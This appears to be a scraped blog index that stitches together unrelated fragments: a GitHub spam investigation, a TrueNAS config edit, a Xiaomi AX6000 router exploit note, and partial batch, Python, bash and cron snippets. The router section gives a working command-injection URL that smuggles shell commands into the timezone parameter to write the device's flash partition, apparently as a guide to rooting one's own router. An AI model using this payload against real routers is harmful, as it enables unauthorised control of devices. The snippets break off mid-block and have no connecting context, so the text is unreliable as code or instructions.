hrz6976

Today I found multiple annoying comments under one of my GitHub issues:

It looks like a spambot posting links to a malware. Googling reveals that I am not the only one:

Luckily there exists a handy tool for investigating this incident: Clickhouse provides a public dataset aggregating everything happened on GitHub. To connect to their public instance:

Take your own risk because wide links is explicitly not supported, may not survive after upgrade, and may conflict with the functionalities of SMB share.

Comment out the parameter blacklists:

cd /usr/lib/python3/dist-packages/middlewared/plugins/smb_/util_param.py
cp util_param.py util_param.py.bak
nano util_param.py

RCE

AX6000在1.0.60前的版本存在任意命令执行漏洞。登录管理界面，将 STOK 替换为URL中的STOK (;stok=XXXYYY)。

设置Crash

http://miwifi.com/cgi-bin/luci/;stok=**STOK**/api/misystem/set_sys_time?timezone=%20%27%20%3B%20zz%3D%24%28dd%20if%3D%2Fdev%2Fzero%20bs%3D1%20count%3D2%202%3E%2Fdev%2Fnull%29%20%3B%20printf%20%27%A5%5A%25c%25c%27%20%24zz%20%24zz%20%7C%20mtd%20write%20-%20crash%20%3B%20

设置NVRam

	@echo off
	setlocal

	REM Check if Windows Mail is running
	tasklist /FI "IMAGENAME eq HxOutlook.exe" 2>NUL \| find /I /N "HxOutlook.exe">NUL
	if "%ERRORLEVEL%"=="0" (
	echo HxOutlook.exe is running. Closing it...
	taskkill /F /IM HxOutlook.exe
	) else (
	echo HxOutlook.exe is not running.

	from dataclasses import dataclass
	from functools import lru_cache
	from json import JSONDecodeError
	import logging
	import re
	import os
	import shutil
	from urllib.parse import quote

	import requests

	WAN_IFACE="eth1.5"
	LAN_IFACE="br-lan"

	GATEWAY_V6="240c:c001:a:128::1"
	GATEWAY_V6_T="fe80::200:ff:fe00:1"

	LOCAL_V6_PREFIX="240c:c001:"
	LOCAL_V6_TEMPFILE="/tmp/local_v6s"

	#!/bin/bash

	set -e

	# import settings from .env
	CWD=$( cd "$( dirname "${BASH_SOURCE[0]}" )" >/dev/null 2>&1 && pwd )
	source $CWD/.env

	FILELIST_PATH=$(realpath $CWD/filelist.txt)

	# Copy it to /etc/cron.d
	/5 * * * user test -f /home/user/pku-auto-connect/connect.sh && bash /home/user/pku-auto-connect/connect.sh >> /home/user/pku-auto-connect/connect.log 2>&1

	# copy it to /etc/cron.d
	/5 * * * root test -f /home/user/kill-before-oom/kill-before-oom.sh && bash /home/user/kill-before-oom/kill-before-oom.sh >> /home/user/kill-before-oom/kill-before-oom.log 2>&1

	# Copy to /etc/cron.d
	/30 * * * user test -f /home/user/cloudflare/dns.sh && bash /home/user/cloudflare/dns.sh >> /home/user/cloudflare/dns.log 2>&1